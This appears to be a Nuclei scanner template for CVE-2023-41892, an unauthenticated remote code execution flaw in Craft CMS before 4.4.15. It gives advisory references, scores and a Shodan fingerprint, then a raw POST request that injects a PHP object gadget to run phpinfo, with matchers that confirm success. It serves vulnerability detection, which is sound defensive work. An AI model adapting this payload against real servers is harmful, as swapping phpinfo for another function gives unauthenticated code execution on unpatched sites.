id: CVE-2023-41892 info: name: CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15. reference: - https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g - https://blog.calif.io/p/craftcms-rce - https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical - https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857 - https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-41892 cwe-id: CWE-94 epss-score: 0.20628 epss-percentile: 0.95817 cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: craftcms product: craft_cms shodan-query: http.favicon.hash:-47932290 publicwww-query: "craftcms" tags: cve,cve2023,rce,unauth,craftcms http: - raw: - | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}} matchers: - type: word words: - "PHP Credits" - "PHP Group" - "CraftCMS" condition: and case-insensitive: true # digest: 4b0a00483046022100a4dd0891649ea2c5564c4190ed5ee8cd41bbdd0beebea8371c73cc4192d5f8ad0221008f37814ad9b17d8b87099cbecb768526e1e5bd206c9575db6631f447c879ed56:922c64590222798bb761d5b6d8e72950